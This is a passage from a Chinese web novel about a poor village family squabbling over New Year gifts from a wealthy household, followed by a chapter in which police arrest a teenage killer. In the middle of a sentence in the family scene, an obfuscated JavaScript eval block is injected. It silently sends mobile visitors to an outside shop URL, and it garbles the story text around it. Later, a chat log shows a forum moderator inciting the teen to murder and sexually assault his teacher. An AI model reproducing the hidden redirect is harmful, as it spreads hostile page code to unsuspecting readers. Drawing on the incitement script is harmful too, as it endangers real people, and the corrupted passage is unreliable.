“哎呦,是啊,晏清说起来哪像苏家人,要是真长成他家那两头鬼的嘴脸德性,只怕吴家大宅里狗食盆子里剩下的,都不到他吃……哈哈哈……上次老冯家娶儿媳妇,妈呀,你家是全村随礼最少的,才随五十块钱,三个大人带着个孩子去吃席面。瞧瞧你家那两头鬼的揍性,八百辈子没吃过肉。那大肘子和红烧肉刚一上来,别人一口没吃呢这俩货就转转磨磨往自己带的塑料袋里倒。我们走的时候都是主家给了啥折箩就拿啥,你家可倒好,一个人手里六个大袋子,恨不得那泔水桶里的都捡出来往家拎。咱讲话了,全村都知道苏家条件不好,吃点儿拿点儿的没人计较,关键是人话也不会说。人家冯老太太来敬酒,他家赌鬼喝点逼酒胡咧咧,说啥呢:冯娘,祝你明年花开二度,再找个老头儿……妈呀,把冯老太太气得脸都绿了……” “就是,你家那两头鬼最没良心!你家赌鬼天天看晏清在吴家吃好的,馋得抓心挠肝的,大半夜跑去偷吴老太君晾在院子里的香肠。结果她家的狗一叫唤,枭枭就醒了,抄起棍子把你家赌鬼揍得屁滚尿流一脑袋青包!哈哈哈……事后知道是你家赌鬼输得屌蛋精光饿疯了,人家吴老太君没计较没报警,就罚你家赌鬼跟着长工犁了一天的地,还让枭枭给你家送了好几根那么老粗的纯肉香肠,说:冤家宜解不宜结,都是街坊邻居的,想吃了就张张嘴,没必要偷鸡摸狗的丧体面。当大人的,处事要给孩子留点脸……阿弥陀佛!人家吴老太君真是个佛爷,人家给了你苏家多少吃的用的,你家那两头鬼还去偷!活活得下地狱呦!村里的小孩子都知道那句顺口溜:老酒鬼喝,小赌鬼跟。小赌鬼偷肠老酒鬼分……” “哈哈哈……苏老婆儿,你家晏清在吴家大宅里吃香的喝辣的,还愿意回你家里吃那糊锅底的棒子面粥吗?要不你干脆给晏清改姓,叫吴晏清算了……哈哈哈……” “晏清那孩子,一身的做派透着那福气贵相,不是你老苏家那穷窝棚里能留得住的!要我说,趁早让人家吴家领去,好好教导着,跟吴老太君学做人,跟枭枭他舅学文化,那是望口村第一个读过啥……硕士的人……晏清跟着那样的人家才有出息……” “就是,吴家心善,晏清在吴家养着,吴家看你们可怜,说不定还能多接济你们些嚼谷儿……” 苏晏清忍气吞声不敢回怼,回到家后,果然吴家大宅的老王提着一个硕大的圆筐在门口等她。“苏婶儿,我家老太太让我给你们家送些年货。” 苏老婆儿千恩万谢地接过来,里面不光有好几十个鸡蛋,还有面粉、粳米、两大条腊肉、两条干鲢鱼、两个蹄膀,还有几根水管粗的纯肉香肠和一大壶花生油,一坛猪大油,一壶小磨香油。 “谢谢谢谢……”苏老婆儿朝吴家大宅的方向鞠了一大躬,“吴老太君真是活菩萨呀……” 老王冷冷道,“苏婶儿,我们老太太心眼儿好,她老人家那么大岁数了,你家也行行好,别整天吵吵把火地闹出那么大动静,街坊邻居的,大过年的,让彼此都安生一些,好不好?” “是是是……”苏老婆儿连连弯腰道,“都是我不好,我不对,我这么大岁数还不通人气,是我不懂事……他王叔,您多包涵……” “我包涵不着,是我家老太太一直包涵你们!” “是是是……我等会儿就骂我那死老头子,再揍我那败家子一顿,大过年的,一定不给吴老太君添堵……” 苏老婆儿趁苏家老酒鬼和苏家赌鬼不在家,赶紧把吴家给的年货忙忙叨叨地像田鼠屯粮似的藏起来,到了还是疏忽了那一小坛子荤油,被那饿痨鬼托生的爷俩一人挖去一大勺子抹在菜饼子上,吃得顺着嘴丫子流油,“香!真他妈香……” “这大腌萝卜蘸了荤油,跟肉也差不多了……” “这时候要是有白面馒头,抹一层荤油,一层麻酱,一层白糖,妈呀,给个县长都不换……” 苏老婆儿翻了个大大的白眼,“闭死你俩那粪坑,就特么知道炫,出了那吃白面馒头的力了吗?两个造粪的机器!” 苏家老酒鬼抹抹嘴,“老婆子,我这鼻子最灵,一进屋就闻到肉味儿了。是不是吴家又送肉来了?” “没有!我跟吴老太君说了,以后苏家改成和尚姑子庙了,不吃肉!” 苏家赌鬼笑嘻嘻道,“别呀老娘!我都闻到干鱼的味儿了,一准是大花鲢子!这玩意儿酱焖一下,最香了……” 苏老婆儿冷笑道,“你属猫的?能闻到鱼味儿?我记得你属狗的,只会吃屎呢!”她突然抄起扫帚疙瘩恶狠狠地指着那爷俩威胁道,“我警告你们这两头烂蒜,别他娘的跟耗子似的在家到处盗洞翻东西,吴家送的那些好赫我心里都有数,少一样,我把你俩的爪子剁了!” 苏家老酒鬼耷拉着脑袋不敢吭声了,苏家赌鬼不服气道,“妈,你是不是就惦记把那些肉留给晏清那小崽子吃?你也太偏心眼子了!那小崽子天天长在吴家,啥好的吃不着!哪怕枭枭不在,吴老太君每次叫人来抱他去洗澡时,都没亏他的嘴!就说八月十五那次,老太君叫人抱他去洗澡,后来你不是叫我去接他吗?我去了一看,好家伙!那小崽子跟吴老太君坐在院子里吃火锅呢!妈呀,那羊肉卷牛肉卷都摞成小山了,还有蟹棒和虾滑……吴老太君还亲自喂他吃肉,吃月饼。全村谁不知道,吴家的月饼是枭枭她爷爷亲手做的,那是过去给皇上吃的,月饼匣子都镶金边!就这么被那小崽子,一口一口地吃了……” “那是晏清招人稀罕!”苏老婆儿狠狠剜了他一眼,“我让你去接孩子,也是让你去那大宅门见识一□□面,省得你一天人嫌狗不爱的!” 苏家赌鬼梗着脖子道,“你知道我人嫌狗不爱就别让我去呀!结果我刚一进院子,老太君只看我一眼,就让老王搬个凳子让我坐在门口的葡萄架下,说:清宝他爸,孩子还没吃完呢!劳驾你等一会儿……” “人家那是客气!没直接拿大棒子轰你就不错了!” “我当然不敢跟老太君呛,我就是瞅晏清那小崽子来气。他坐着吃,我离着十万八千里看?我这哪是当爹的,快成打秋风的穷亲戚了!” “你别糟践亲戚两个字,你那操性都不如吴家大宅院门口的流浪狗!” “吴老太君问我:清宝他爸,你还没吃饭吧?就让老王单独给我搬了个小桌,让我在葡萄架下吃,那肉,那菜,那月饼……妈呀!香得没治了!但我心里还是不得劲,晏清那小崽子上主桌,我是他爹,为啥让我在葡萄架下的小桌吃!” 苏老婆儿一筷子敲到苏家赌鬼脑袋上,恶狠狠道,“就你那个缺德带冒烟的死赌鬼揍性!咱村的人拿正眼夹你不!别说席面,你上别人家要碗凉水都要不到!你特么也算个人!吴老太君让你在葡萄架下吃东西,都是开了天恩了!换我是老太君,你在吴家大宅门口路过我都得拿水把你泼走,站一会儿我都嫌站脏了我的地界!而且我警告你,别总想着妒忌晏清,否则我拿榔头砸碎你脑袋……” 春节一天比一天近了,苏家全家上下都不敢多说一句,生怕闹腾出什么响动惹吴家不高兴。因为这个原因,苏晏清更是得以天天黏在吴家不回去。吃腊八粥、堆雪人、做冰灯、挂灯笼、插腊梅和水仙花、撒年糕、蒸粘火勺、炸钢镚子……小小的他什么都做不了,不是跟着姐姐屁股后面像个小尾巴似的蹭吃蹭喝,就是被武厉枭像个换装洋娃娃似的各种打扮。 “宝宝,这是姐姐小时候穿的米老鼠毛衣,外婆刚找出来,说给你穿,来,姐姐给你换上。” 苏晏清美滋滋地被姐姐穿上鲜红的米老鼠毛衣,忙不迭地站到镜子前臭美,“鼠鼠漂亮……鼠鼠漂亮……” “别急,还有这套云朵小熊的秋衣秋裤,这套小海马的毛衣毛裤是外婆让王婶婶新给你织的,说是菠萝花套元宝针的,裤子是玉米豆针的。这件绣着大金龙的毛衣,你瞧,这金龙身上的鳞片和眼睛都是用亮亮的珠珠绣上去的……都给洗干净熨烫好了,让你一天换一套,天天都漂亮……” 苏晏清的小脸蛋没过几天就圆了一圈。武厉枭给他洗澡时都说:“宝宝,你这小胳膊快成藕节了……” 苏晏清笑个不停,“姐姐,穿袍袍。” “好!”武厉枭拿过小熊猫睡袍把苏晏清包裹起来,放到沙发上,取过痱子粉刚想给他擦,苏老婆儿又带着一阵寒气走进来了,“晏清,跟奶奶回家了。” “不要不要……”苏晏清连忙跳下沙发往二楼跑,“我要跟姐姐睡……” “这死孩子,你还赖上不走啦?”苏老婆儿呵斥道,“瞧我不收拾你的……”她刚想上楼抓,吴老太太从二楼慢条斯理地走了下来,抱起小小的苏晏清放到武厉枭怀里,“枭枭,抱好弟弟,别让他摔着。” 武厉枭连忙把苏晏清接过去,皱眉看着苏老婆儿,“苏奶奶,冬天夜里冷,清宝洗好了澡,身子热乎乎的。你非要把他抱回去,一来一回被冷风吹了,会闹病的。” 苏老婆儿讷讷地点头哈腰道,“吴老太君,您还没歇呢?” “正要歇,听见楼下吵,就过来看看。”吴老太太优雅从容地坐下,“他苏婶儿,快过年了,天越来越冷了,你家棉絮置办齐了吗?” “我……”苏老婆儿一时语塞,“正置办着……” “你家里老的老小的小,这么冷的天,别冻坏了……我今天跟老王媳妇整理衣柜,找了几床枭枭小时候盖过的旧棉被,正想着给晏清用。这大晚上的你也不好拿……这样吧,外面又黑又冷,你一个人抱个孩子回去,着实不好走。明天你就再跑一趟,把棉被拿回去,可好?” “老太君您想得周到,我谢谢您,谢谢您……”苏老婆儿连连点头道谢,“我这就回去,不吵您了,晏清在您这里,给您添麻烦了……给您添麻烦了……” 苏老婆儿回到家里,一看到老伴和儿子瘫歪在炕头上抿着酒吃花生米,就气不打一处来,暴喝道,“喝!喝!一天往死里喝!咋不喝死你俩呢!” 苏家老酒鬼一看老伴的脸色,就知道又在吴家吃瘪了,幸灾乐祸道,“又没接回来晏清,又挨呲哒了?跟你说了别去接别去接,接不回来的!雀儿都知道捡着旺处飞呢!” “老不死的!你还有脸说!孙子都快成吴家的啦!你个臭不要死脸的老逼棺材瓤子!操你妈了个臭烂死逼的!” “吴家吃得好住得好,屋里有空调有卫生间,能洗热水澡,拉屎不冻屁股,不比咱这狗窝强多了!就你非要接非要接的,接回来冻出毛病来,咱哪有钱给他看病!” “就是!”苏家赌鬼也接茬埋怨苏老婆儿,“妈,跟你说了别去吴家丢人现眼,你挨了那么多次硬话咋不长记性呢!接回来干啥,夜里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849732|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 头又哭又闹的,一会儿要姐姐一会儿要阿婆的,都能被他烦死!” “滚你妈的蛋!我还瞅你烦呢!瘟灾鬼,还有亲爹嫌亲儿子烦呢,你咋不死呢!你咋不脑袋塞尿桶里沁死呢!你特么会说人话就说,不会说人话就用屎糊住你那张狗臭嘴!” “妈,你要是个心里有数的,就好好教教小崽子,让他跟吴老太君说:宝宝想跟爸爸一起吃鸡,想跟爷爷一起吃油饼……哄着吴老太君多给咱家点儿嚼谷儿,我这肚子都多长时间没吃油饼啦?那天晚上做梦都梦到油饼馋醒了……” “放你娘的罗圈拐弯儿屁!”苏老婆儿抄起扫帚疙瘩对着苏家赌鬼没脑袋没屁股地呼呼抽起来,边抽边骂,“馋不死你!懒不死你!没脸没皮的瘟灾鬼!教唆孩子去要嘴吃!你咋不嘎嘣一下死了呢!你咋不掉粪坑里淹死呢……” 苏家赌鬼满炕乱躲乱爬,嘴里依旧不服气地叫嚷着,“我说得有啥错!晏清那小崽子吃香的喝辣的,他爷爷他老子亏嘴亏得什么似的,肠子里头都没油水!我让他去要点儿怎么了!对啦,那天吴家大宅的老王不是送来了蹄膀了吗?你倒是呼两个给我解解馋呀!我这一天克唠的,拉屎都卡腚门子……” 苏老婆儿似乎听出点儿端倪,用扫帚疙瘩一指苏家老酒鬼,“老不死的,这里是不是有你的事儿!是不是你挑唆的?说!” “没有没有!” 苏家老酒鬼慌忙撇清,“是这王八羔子嘴欠脑子蠢,跟我一点关系都没有!你打他,待会儿扫帚疙瘩坏了,又得买新的!” 苏老婆儿气得把扫帚疙瘩一扔,“我特么上辈子杀牛卖马刨坟倒斗了,这辈子贪上你们这两头死不了的烂鬼!早晚我得死你们手里!也不撒泡尿照照你俩那倒霉德性,还他妈想吃蹄膀?要没我屋里屋外地张罗,你俩连狗屎都吃不上……” 除夕那天终于到来了,吴家大宅里热闹非凡,王婶婶一大早就熬好了浆糊,给全家所有人的腰间都戴上了一个亲手编的吉祥如意十六结桃木珠络方胜结。王叔叔给所有的门上都贴上红火火的对联,精巧别致的窗花和杨柳青年画,挂起了八角琉璃瓦宫灯。舅舅放起了一万响的鞭炮,吴老太太和舅妈把各色干果水果和糕点一一摆上茶几,武厉枭给苏晏清洗好了澡,换上了那套从城里寄来的宝相花瑞兽拜年服和老虎头棉鞋,额心还用外婆的胭脂点了个小红点,“宝宝,你真漂亮,像只小蝴蝶……” 苏晏清甜甜地笑着摸新衣服上的宝相花,又摸了摸武厉枭头上的蝴蝶结,“宝宝漂亮,姐姐漂亮……” 窗外又飘起了雪花,武厉枭把苏晏清抱到窗户旁,“宝宝,外面下雪了。” “雪孩子在窗户上画花花……漂亮的花花……”” 下午四点左右,年夜饭陆续端上了餐桌,吴家大宅的年夜饭向来讲究四凉四热,一汤一甜,吴家舅妈知道吴老太太爱吃鱼,还特意做了一道香煎三文鱼孝敬婆婆。苏老婆儿紧赶慢赶地跑来,“老太君过年好,他舅过年好,他舅妈过年好,枭枭过年好,他王叔王婶过年好,大家过年好,纳福纳福!” 吴老太太微笑道,“他苏婶儿,过年好,进来坐。” “不耽误您了,我来接晏清回家。” 正坐在武厉枭身边吃红豆奶茶的苏晏清的笑容瞬间消失了,连忙拉住了武厉枭的袖子,“姐姐……宝宝不要回家,阿婆说晚上要包饺饺……宝宝要包饺饺……” 苏老婆儿赶紧道,“清宝乖,大过年的要回自己家,不能在人家家里添乱,这是礼数。” 苏晏清一看奶奶沉下脸来,只得怯怯地跳下椅子,含着眼泪一步三回头地看着姐姐。武厉枭于心不忍道,“宝宝等一下……”她拿出了一个手提袋,把茶几上的零食、糖块、坚果、水果、糕点每样都装了一些进去,把个鼓鼓囊囊的袋子递给苏晏清,亲了亲他的小脸蛋,“宝宝,这里面的桂花糕和砂糖橘是你最爱吃的,这花生酱面包和鱼肉干,也给你装了好几个。还有这养乐多,给你装了一联。乖,今晚跟奶奶回去,姐姐明天一早就去接你,王婶婶给你做山楂糕吃,明天姐姐陪你一起看动画片。” 吴老太太吩咐王婶婶,“去厨房里切一盘酱肘子,还有那些刚炸好的香酥带鱼和蚕蛹,每样装一盒给晏清带回去吃。对了,还有锅包肉,又酸又甜的,小孩子肯定喜欢,也装上一盒。”又吩咐儿媳妇从房里取出一大块正红色绣虎头、葡萄、蝙蝠的暗花提纹缎子,将武厉枭给装的零食糕点和王婶婶装好的食物用红缎包好。“他苏婶儿,这个你拿回去,大过年的,别委屈了孩子。” 苏老婆儿感激不已,“老太君,这怎么好意思呢。” “不是给你的,是给晏清的。小孩子长身体,就相当于庄稼拔节,嘴上不能亏了。我们吴家祖上传下来的规矩,正红缎子包吉祥袋,过年给孩子压祟。” 苏老婆儿连忙哈腰道谢,“谢谢老太君,您大慈大悲,长命百岁!谢谢他舅,谢谢他舅妈,谢谢枭枭,谢谢他王叔王婶,各位吉祥如意,多福多寿……” 苏老婆儿带着苏晏清回家,苏家平时什么样过年时什么样,别说像吴家似的披红挂彩点宫灯,连一张红纸都没贴。苏老婆儿过日子刻苦,她总说:“贴那些玩意儿干啥,贴完了也得掉!”她也从不放鞭炮,她说那是花自己的钱给别人添热闹,最傻!至于年货,她也从来不办,街坊邻居问起,她就说:“如今生活好了,小卖店里啥都有,现吃现买呗……” 最爱打听事儿的狗蛋妈一听这话就撇嘴,跟秀儿妈嘀嘀咕咕地戳苏老婆儿脊梁骨,“你们是不知道,苏老婆儿去年寻思着家里太穷了,过年啥都买不起,就去镇里找个饭馆给人家端盘子洗碗。结果不知道咋地了,突然迷糊上了,整个人好像死过去了似的。那饭馆老板当时就吓傻了,正要打120的时候,正巧吴家大宅的老王开车路过那家饭馆。看到苏老婆儿被抬出来了,赶紧掐人中急救给救醒了……后来送没送医院我也不知道,总之老王把苏老婆儿拉回来的时候,脸色蜡黄蜡黄的,跟死人都没啥区别了……” “妈呀!为点儿年货差点搭上条命……” “谁说不是呀!要说她这么大岁数了,瞎折腾啥呀!你说家里两头鬼,一个疯子,一个奶娃娃,就她一个全乎人。她要是出点啥事,晏清谁管,不得进孤儿院呀……” “可不咋滴!苏老婆儿那天要是救不过来,苏家那两头鬼能把晏清卖了换酒肴赌本……” “所以啊,从那以后,吴家每年都给苏家年货,就怕他家再为了点年货闹出人命……” 苏老婆儿拉着晏清回到家,把手里的大红吉祥袋“哐当”往炕上一扔,吊个脸子冷冷道,“吃饭!” 苏晏清看了一眼年夜饭的菜色,两掺面馍馍,炒芥菜里面放了几片腊肉,炒冬笋里面放了几片香肠,萝卜汤里打了蛋花,放了些香油,倒是比往常的伙食好了不少,知道是吴家给的,也就乖乖地拿了个馍馍吃了起来。 苏家老酒鬼夹了一片腊肉嚼了起来,“香!真特么香!”又抱怨道,“老婆子,大过年的你又把这大腌萝卜拿出来干啥!平时天天吃还没吃够啊!” 苏老婆儿脸拉得有一尺长,“啪”地一摔筷子,“爱吃不吃!不吃滚□□蛋!要不是吴家,你能有这好饭好菜?操你妈了个逼!” 苏家老酒鬼不敢吭声了,苏家赌鬼看到那香肠恨不得俩眼瞪出血来,塞得满嘴鼓囊的起来犹自不满道,“老妈,你也太抠搜啦!吴家不是送了那么多肉吗?这香肠你咋就放这么几片,切一整盘来多好!” 苏老婆儿一筷子敲他头上了,“细水长流,数米粒下锅,懂不懂!就知道馋,炫□□子!你挣来香肠钱了吗?咋不死呢你!” 苏家赌鬼没好气地揉揉头,看到坐在角落里死死抱住吉祥袋的苏晏清,便捏了捏他身上的明黄色宝相花瑞兽拜年服,“呦!这么鲜亮的衣服,又是吴家给的,老贵了吧?脱下来给我看看!” 苏晏清赶紧躲开他,一脸厌烦道,“别动!” “妈的□□崽子……”苏家赌鬼扬起巴掌刚想挥下去,看到老娘的眼神跟刀子似的,只得咽下这口气,一把将苏晏清怀里的吉祥袋拽过来,“拿来吧你!”“滋啦!”红缎破了,零食洒了一炕。苏家赌鬼瞬间眼睛放光了,“妈呀!大肘子!带鱼!蚕蛹!还特么有锅包肉!操!过年啦过年啦!今天高低得喝点儿!还有……这是啥呀……这是那日本糖块儿吧?我得尝尝……” 苏晏清“哇”地一声哭开了,“这是姐姐给我的……姐姐给宝宝的……” 苏老婆儿一巴掌打在苏家赌鬼后脑上,“你他妈要瘟死呀!那是吴家给晏清压祟的吉祥袋,你跟孩子抢糖块!抢破了他的福气,你特么是畜生啊!缺了你老苏家祖宗十八代德的倒霉鬼!倒挺玩意儿!□□八辈祖宗的臭烂逼……” “这个倒灶的小王八蛋天天在吴家吃好的,我这个当爹的吃个糖块都不行!”苏家赌鬼不服气地梗着脖子叫唤,“明天一大早,吴家就得来人把他抱走,他还缺了那点儿零嘴啦!倒是我,从小到大都没吃过啥零嘴儿!” 苏老婆儿抄起扫帚疙瘩抽了过去,“你特么少赌一点儿,啥吃不着!死不了的瘟灾鬼,再特么叫唤我把你腿打折……” 苏家赌鬼边躲边把糖块和糕点往嘴里塞,任凭老娘的扫帚疙瘩噼里啪啦地打在他背上,腿上,屁股上,他依旧吃得满嘴沫子,腮帮子鼓成了球,扔得满炕都是糖纸,桂花糕和花生饼被压得碎成了渣,他还吃得停不下来,“好吃……好吃……操他妈的……这豆沙包还一股水蜜桃味儿……真特么香……” 苏晏清痛哭着跳下炕往吴家大宅跑,“我要找姐姐……呜呜呜……姐姐说……给宝宝煮……好吃的饺饺……我要找阿婆……呜呜呜……” 苏老婆儿连忙扔下扫帚疙瘩把苏晏清抱回来,赶着往他身上也拍打了几下子,“你可消停点吧……小死脑瓜骨的……就知道姐姐……大过年的搅灾……憋回去……再他娘的嚎丧屁股给你打八瓣……” 苏晏清抱着破红缎子哭着睡着了,手里依旧紧紧捏着那个残破的吉祥袋,好像捏着自己的命根子一样。鸡叫头遍时,天光乍亮,武厉枭举着一根刚甩好了糖风的冰糖葫芦推开了苏家的门,“宝宝,姐姐来接你了!王婶婶刚做好了冰糖葫芦给你吃!” 苏晏清哭着扑进武厉枭怀里,“姐姐……袋袋破了……爸爸……抢破了……抢宝宝的糖糖……都吃光了……我要去找姐姐……奶奶还打宝宝……” 武厉枭的眼睛像利刃般扫视着苏家的几个大人,苏家老酒鬼赶紧把脸扭进炕里,苏老婆儿钻到了厨房里,苏家赌鬼捏了张草纸捂着肚子躲进了茅房。武厉枭抱起苏晏清,“宝宝,跟姐姐回家,姐姐重新给你包一个压祟吉祥袋。家里还有好多好吃的,王婶婶和舅妈做好了油炸糕和虾饺,吃完了舅舅开车带我们去逛集市,买面人和糖画,好不好?” 苏晏清终于破涕为笑,趴在武厉枭怀里,甜甜地咬了一口冰糖葫芦,“好,坐车车,买面人和糖画……” 武厉枭扭过脸去,对苏老婆儿朗声道,“苏奶奶,我把清宝抱过去,这个年他就在吴家过了,晚上也在吴家住,不抱回来了。” 苏老婆儿唯唯诺诺,“是是是……在吴家过好……在吴家过……” “大过年的别人家都高高兴兴的,你们怎么想的,让这么小的孩子受这么大委屈!以后你们苏家人再这么对他,他所有的年节都在吴家过!”武厉枭越说越气,声音也不自觉大了几分,“你们知道不知道那是我外婆给清宝宝压祟的!保他平安的!你们怎么可以给抢破!哪有你们这么当大人的!还打他!简直太过分啦!” “是是是……我们错了……错了……枭枭你别生气……我待会儿就砸了那老不死的酒壶,扇那老梆子一顿大嘴巴子,再把那瘟大灾的捆起来揍,敲断他两根脚筋……”苏老婆儿从茅房里把苏家赌鬼揪着耳朵拎出来,“咣咣咣”下死劲踹了几脚,“快给枭枭道歉……” 苏家赌鬼龇牙咧嘴地揉着耳朵,蔫头耷拉脑地站着不动。武厉枭余怒未消道,“叔,清宝宝很乖的,他不是个小气的孩子。你想吃那些东西,跟他好好说,他会分给你吃。结果你呢,竟然直接抢!当大人的,要给孩子做个好榜样!” 苏老婆儿朝他后脑狠抽了几下,“枭枭你放心,我待会儿就带着这王八龟孙去吴老太君面前,跪着请罪……” “不用给我外婆跪着,你们好好想想吧。你们不是对不起吴家,是对不起晏清和他妈!你们能不能好好对待这个孩子?谁家能干出大过年的抢孩子东西打孩子的事,简直离谱!” 眼见苏家门口已经有人探头探脑地张望看热闹了,苏老婆儿只得往苏家赌鬼屁股蛋子上又踢了几脚,“枭枭你听我说,我昨天没打重……晏清哭着要找吴老太君,我怕他大过年的触霉头,挡了老太君的福,才拍了他几下……” “总之你们家再打他,就请村长爷爷评评理,苏家照顾不好孩子,把晏清抱到吴家去带,允许你们有空去看看。等到他上学时,我把他带到武家去,我爷爷会给他找个好学校读书。” “我们不敢了,不敢了……我们错了,错了……晏清是我家命根子,我们会好好对待……” 武厉枭冷哼一声,不再理睬他们,抱着苏晏清毅然走出了阴暗破旧的苏家,走向吴家大宅,走进光里…… “姐姐,那个大年初一我记得,你和外婆,舅舅舅妈带我去了县城,我第一次去县城,看到了那么高的楼,那么多的车!外婆带我们吃了西餐,我第一次去游乐园,你抱着我坐滑滑梯,坐旋转木马。舅舅给我买了面人、糖画和一件好漂亮的奥特曼羽绒服,舅妈给我买了带毛球的小帽子,小围巾和手套……对了,还看了电影!我记得,是动画电影《大闹天宫》……那是我最开心的一个年……” 那年大年初一,吴老太太带着全家在县城整整玩了一天,苏晏清则是一步都没走,全程被武厉枭抱在怀里。吴老太太舍不得外孙女挨累,“枭枭,让晏清自己下来走一会儿吧。” “外婆,宝宝都挨打了,心疼死我了。” “这苏家,大过年的还打孩子!”舅舅生气道,“不可理喻!” 吴老太太叹道,“要不是看在晏清和他妈可怜,谁会管苏家那几个人?没有心肝的……” 全家人一起去公园放了河灯,灯花炫彩,灯影灼灼,如满天的星河坠落凡间。苏晏清年纪太小,不敢让他靠近水边,武厉枭便替他放了一盏红莲灯,然后贴着他耳朵说:“宝宝,今年大年初一,晚上回去祭祖的时候,你也来,让外公看看你,我们家多了一个小宝宝了……” “那宝宝求阿公保佑,保佑我永远和姐姐在一起……” “好,宝宝和姐姐永远在一起……” “宝宝,你回来了,以后每个春节我们都能那么开心,一起买新衣服,去游乐园,看电影……” “姐姐,”苏晏清喉头一阵干涩,喉结弹跳不已,“你还愿意再亲我一次吗?像小时候那样?” 武厉枭望着十九岁的苏晏清俊美的容颜,轮廓分明的下颌线,望着他眼里流转的丝丝波光。她突然如雷电劈击一般,猛地警醒过来——这不是那个四岁的奶团子,这是个男人!帅气的,鲜活的,热腾腾的十九岁男人!她从苏晏清怀里挣脱出来,红着脸尴尬道,“你长大了……不能像小时候那样……说亲就亲了……你……早点休息吧……” 武厉枭逃离出了苏晏清的房间,紧张地拍着胸口,心跳得飞快道,“天哪……我究竟……做了什么……” 26. 辛子诚伏法 武厉枭第二天一上班,就听说市一中那个废弃的公共浴室天花板里掉出来一具尸体,是桑学勤。 法医和法证来到现场勘探,因为预制板老楼年久失修,楼板渗水严重导致疏松,结果被塞在天花板里的尸体把塑料顶棚压断了,尸体掉了出来。 法医经过检验,尸体有殴打性侵的迹象。而且身上的指纹和□□都是辛子诚的。 魏三有从辛家取来了辛子诚的电脑,上面有大量的黄色网页浏览记录。尤其是以囚禁、虐待之类的小说和漫画居多。此外,他还总是登录一个叫精蓝的聊天网站。 武厉枭让信息部门找出了辛子诚的聊天记录,里面的聊天内容简直触目惊心: 辛子诚:妈的,考试又没考好,让我那个姓桑的弱鸡班主任训了一顿,搞不好回家还得挨骂。 版主:考不好很正常,你本来就是个干啥啥不行,吃啥啥不剩的废物。 辛子诚:操你妈,你他妈的骂谁呢? 版主:我说你废物有错吗?你成绩不好,人缘差,父母不喜欢你,你天天被各科老师骂,隔三差五在家挨顿收拾,还总被同学嘲笑。 辛子诚:那有怎么样?老子体育好! 版主:体育好有个屁用!你明明比那个笨蛋打球打得更好,校队还是把你开了。运动会上你给班里得了那么多荣誉,谁记得你?那些老师就知道盯着好学生,根本看不到你的好。那些女生更过分,你累死累活地跑了三千米,谁给你一瓶水了?班里那小白脸子跑个穷五十米回来累得那个逼样,一帮女生凑过去擦汗。妈的,也不怕把他脸上那点粉底液擦没了! 辛子诚:没错,老子真他妈想揍他一顿! 版主:揍他有啥用?揍完他女生们还得挠你,你又不能打女生。要干干票大的,干别人不敢干的。 辛子诚:切!我总不能揍老师吧! 版主:有啥不能,刀了那弱鸡都不多! 辛子诚:拉倒吧!杀人?我不想活了? 版主:你想啊,你如果真刀了弱鸡,别人怎么看你?觉得你胆大。以后你父母还敢打你吗?同学们还敢不服你吗? 辛子诚:杀人要被枪毙,虽然我不到年龄,但我不想死。 版主:你不到枪毙年龄,在里面关上几年,出来又是一个好汉。 辛子诚:可是,弱鸡老师似乎也没有要死的罪过…… 版主:你傻呗!他一次次管你,打压你,否定你,摧残你的身心,就是他该死的罪过!你现在要做的,就是要用他的血,证明你是个男人! 辛子诚:是个男人?那我要是干了班里最漂亮的女生,我也是个男人呀? 版主:聪明!如果你干了那弱鸡呢? 辛子诚:操!老子对男人的菊花不感兴趣! 版主:问题是……那是弱鸡的菊花……然后你杀了他,他到阴曹地府……你也是他男人,是干烂他菊花的男人…… 武厉枭道,“发布通缉令,全市通缉辛子诚。那个没来上学的小常呢?辛子诚的手机能追踪到哪里吗?” 李大刚道,“手机显示定位在木兰江,看来是扔了……” 武厉枭想了想,“对了,上次辛子诚父母说过,他们平时给孩子钱很宽松,辛子诚每年的压岁钱都自己保管。如果这样算的话,那孩子手里有不少现金,足够支撑他杀人后逃窜了。” “一个小孩子,杀人后能去哪里?吃能解决,住上哪儿解决去?” “辛家还有没有别的房子?” “没有。 “我记得辛子诚父母提过,辛子诚的小爷爷山大老家属区那里有一套,他小爷爷曾是山大的教工。小爷爷小奶奶死了以后,那套房子空着的。老家属区那里人不多,还都是一群老年人,他应该藏在那里。” 武厉枭带着人到了辛子诚小爷爷小奶奶的老房子,虽然脏乱,的确发现了有人生活过的痕迹。他们没找到人,正下楼时,看到了戴着鸭舌帽的辛子诚出现了。他一看到一堆人上门,连忙逃跑。武厉枭匆忙带人下去追,不料辛子诚居然掏出枪来对着武厉枭就是一枪。“啪!”武厉枭一个侧身躲过了子弹,对着辛子诚的腿就是开了一枪,辛子诚“啊”地惨叫一声,跪倒在地。武厉枭迅速扑过去摁住他,夺了他的枪械,戴上手铐。辛子诚犹自拼命挣扎着惨叫着破口大骂,“啊啊啊啊啊……啊啊啊啊啊……啊啊啊啊啊……”哭喊得鼻涕眼泪齐流,并用头撞摁住他的魏三有,用牙齿咬李大刚,被二人薅着头发捏着脸扇了几个耳光,犹自谩骂道,“女魔头……老子早晚□□你,杀了你,干烂你的贱逼和□□……啊啊啊啊……”被易学友堵住嘴巴,用警绳一圈圈牢牢捆缚严实,才把他押到车上,“妈的,一个半大小子比他妈年猪还难按。” 审讯室里,武厉枭将明晃晃的灯光照到辛子诚略显稚嫩却暴戾的脸上,“你为什么要杀桑老师?” “因为他那天占了一节体育课。” “就因为一节体育课,你就要杀他?” “我跟那个弱鸡矛盾太多了。” “什么矛盾?” “上次我和小常偷废铁,分钱不均,我俩在操场上打起来了。弱鸡拦着我,不拦他。我一生气,踢了弱鸡裆一脚。弱鸡打了我一耳光。我妈在学校跟弱鸡吵了一架,说他不宽容,打学生,要去教育局告他,让他丢工作。” “那是你家单方面欺负桑老师,不是你杀人的理由。” “反正弱鸡不喜欢我,他看我的样子,好像我特别招人讨厌似的。他讲课也不怎么样,管不住纪律,我班数学全年级倒第一。” 